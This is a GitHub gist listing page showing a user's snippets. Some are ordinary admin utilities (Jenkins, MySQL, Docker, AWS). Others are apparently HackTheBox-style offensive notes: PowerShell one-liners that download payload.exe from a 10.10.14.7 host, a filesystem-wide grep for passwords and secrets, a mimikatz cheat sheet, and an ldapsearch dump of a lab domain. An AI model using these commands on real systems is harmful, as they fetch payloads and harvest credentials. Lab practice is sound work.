Skip to content

Instantly share code, notes, and snippets.

View shollingsworth's full-sized avatar

Steven Hollingsworth shollingsworth

View GitHub Profile
@shollingsworth
shollingsworth / gist:034832d3bed19b8cc87a5ae1ecfc12db
Created November 13, 2020 21:43
change the ami id of jenkins ec2-plugin through groovy
import hudson.plugins.ec2.SlaveTemplate
import jenkins.model.Jenkins
Jenkins jenkins = Jenkins.getInstance()
for (i in jenkins.clouds) {
if (i.searchName == 'ec2-agent') {
println i.templates[0].ami
// i.templates[0].ami = 'ami-xxxxxxx'
@shollingsworth
shollingsworth / gist:03375408dd30123353cd117a0bdc6222
Last active November 18, 2020 01:57
mysql show grants for all users dynamic
# show grants for all users one liner
cat <<EOF | mysql | grep SHOW | mysql | sed 's/^Grants/# Grants/'
select distinct concat('SHOW GRANTS FOR ', QUOTE(user), '@', QUOTE(host), ';') as query from mysql.user;
EOF
@shollingsworth
shollingsworth / dockerrun.py
Created October 15, 2021 16:41
docker run helper with fzf
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""docker run util."""
import os
import shlex
import subprocess
import textwrap
from typing import Dict
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""breakout a bash command into lines."""
import select
import sys
from textwrap import indent
@shollingsworth
shollingsworth / aws_check_securitygroup_ip_address.py
Created December 10, 2021 17:16
Check ACL against ip for security group
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""show sg."""
import argparse
import ipaddress
import boto3
def get_rules(args):
"""Return list of CIDRs for a security group."""
@shollingsworth
shollingsworth / get_aws_role_details.py
Last active February 19, 2022 01:45
Dump the details of an AWS role
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""get role details."""
import argparse
import json
import boto3
def json_normalize(obj):
@shollingsworth
shollingsworth / powershell_download_file
Created February 9, 2022 17:03
powershell download file
powershell "Invoke-WebRequest -Uri http://10.10.14.7:8000/payload.exe -OutFile payload.exe -UseBasicParsing"
powershell "(new-object System.Net.Webclient).Downloadfile('http://10.10.14.7:8000/payload.exe', 'payload.exe')"
@shollingsworth
shollingsworth / find_passwords_in_files.sh
Created February 9, 2022 17:19
find passwords in files
# passwords
find / -type f -exec grep -iE '(password|secret|user)' -C 2 {} \; 2>/dev/null
@shollingsworth
shollingsworth / mimikatz_cheat_sheet.txt
Created February 9, 2022 17:21
mimikatz cheat sheet
/usr/share/mimikatz/Win32/mimikatz.exe
/usr/share/mimikatz/x64/mimikatz.exe
/usr/share/nishang/Gather/Invoke-Mimikatz.ps1
/usr/share/nishang/Gather/Invoke-MimikatzWDigestDowngrade.ps1
/usr/share/nishang/Gather/Invoke-Mimikittenz.ps1
#general
privilege::debug
log
@shollingsworth
shollingsworth / ldapsearch_dump.sh
Created February 9, 2022 17:22
ldapsearch dump
ldapsearch -x -h localhost -D "cn=binduser,ou=users,dc=pikaboo,dc=htb" -w 'xxxxx' -b "dc=pikaboo,dc=htb"